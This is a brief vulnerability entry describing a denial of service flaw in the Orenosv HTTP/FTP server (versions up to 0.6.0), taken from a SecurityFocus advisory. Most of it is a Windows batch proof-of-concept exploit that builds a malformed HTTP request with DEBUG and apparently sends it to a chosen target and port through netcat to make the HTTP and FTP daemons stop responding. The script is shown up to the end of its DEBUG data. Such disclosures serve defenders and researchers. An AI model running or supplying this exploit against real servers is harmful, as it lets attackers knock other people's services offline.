source: https://www.securityfocus.com/bid/10420/info
 
Orenosv HTTP/FTP server is prone to a denial of service vulnerability that may occur when an overly long HTTP GET request is sent to the server. When the malicious request is handled, it is reported that both the HTTP and FTP daemons will stop responding.

@echo on
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:Application:   Orenosv Server
:Vendors:       http://home.comcast.net/~makataoka/orenosv060.zip
:Version:       <=0.6.0
:Platforms:     Windows
:Bug:           D.O.S
:Date:          2004-06-02
:Author:        CoolICE
:E-mail:        CoolICE#China.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;if '%1'=='' echo Usage:%0 target [port]&&goto :eof
;set PORT=9999
;if not '%2'=='' set PORT=%2
;for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe
echo Need nc.exe&&goto :eof
;DEBUG < %~s0
;GOTO :run

e 100 "GET / HTTP/1.0" 0D 0A
e 110 "Transfer-Encoding: Boy" 0D 0A 0D 0A
rcx
2A
nhttp.tmp
w
q